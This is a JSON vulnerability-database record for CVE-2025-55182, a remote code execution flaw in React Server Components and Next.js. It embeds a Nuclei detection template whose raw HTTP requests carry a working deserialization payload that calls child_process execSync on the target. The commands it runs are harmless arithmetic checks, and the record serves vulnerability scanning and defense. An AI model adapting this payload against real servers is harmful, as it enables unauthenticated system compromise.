{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-55182/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-55182/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-55182/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-55182/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-55182/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-55182"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-55182"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.99802,
      "kev": true,
      "percentile": 0.99958
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2025/CVE-2025-55182.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2025-55182\n\ninfo:\n  name: React Server Components - Remote Code Execution\n  author: DhiyaneshDk,princechaddha,assetnote,lachlan2k,maple3142,iamnooob\n  severity: critical\n  description: |\n    React Server Components 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including react-server-dom-parcel,\n    react-server-dom-turbopack, and react-server-dom-webpack contain a remote code execution caused\n    by unsafe deserialization of payloads from HTTP requests to Server Function endpoints, letting\n    unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full system compromise.\n  remediation: |\n    Update to the latest version that fixes the unsafe deserialization issue.\n  reference:\n    - https://github.com/assetnote/react2shell-scanner\n    - https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3\n    - https://www.facebook.com/security/advisories/cve-2025-55182\n    - http://www.openwall.com/lists/oss-security/2025/12/03/4\n    - https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components\n    - https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp\n    - https://vercel.com/changelog/cve-2025-55182\n    - https://github.com/Chocapikk/CVE-2025-55182\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2025-55182\n    epss-score: 0.99802\n    epss-percentile: 0.99958\n    cwe-id: CWE-502\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: http.component:\"Next.js\"\n  tags: cve,cve2025,react,rce,nextjs,oast,kev,vkev,vuln\n\nvariables:\n  request-id: \"{{to_lower(rand_text_alphanumeric(8))}}\"\n  nextjs-html: \"{{rand_text_alphanumeric(21)}}\"\n  num1: \"{{rand_int(40000, 44800)}}\"\n  num2: \"{{rand_int(40000, 44800)}}\"\n  result: \"{{to_number(num1)*to_number(num2)}}\"\n\nhttp:\n  - raw:\n      - |\n        @timeout 15s\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Next-Action: x\n        X-Nextjs-Request-Id: {{request-id}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\n        X-Nextjs-Html-Request-Id: {{nextjs-html}}\n\n        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad\n        Content-Disposition: form-data; name=\"0\"\n\n        {\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo $(({{num1}}*{{num2}}))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\n        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad\n        Content-Disposition: form-data; name=\"1\"\n\n        \"$@0\"\n        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad\n        Content-Disposition: form-data; name=\"2\"\n\n        []\n        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\n\n      - |\n        @timeout 15s\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Next-Action: x\n        X-Nextjs-Request-Id: {{request-id}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\n        X-Nextjs-Html-Request-Id: {{nextjs-html}}\n\n        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad\n        Content-Disposition: form-data; name=\"0\"\n\n        {\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('powershell -c \\\"{{num1}}*{{num2}}\\\"').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\n        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad\n        Content-Disposition: form-data; name=\"1\"\n\n        \"$@0\"\n        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad\n        Content-Disposition: form-data; name=\"2\"\n\n        []\n        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\n\n    stop-at-first-match: true\n    redirects: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(to_lower(header), 'x-action-redirect: /login?a={{result}}')\"\n# digest: 4a0a00473045022013716ee0c40dcc4fa7e6b7b38564a5412799673c3aa4f3b3b79671780b9b1890022100917da8811a707630da62f8ad381132e08429ace1cdb55209707fe498fa1d8732:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2025-55182"
}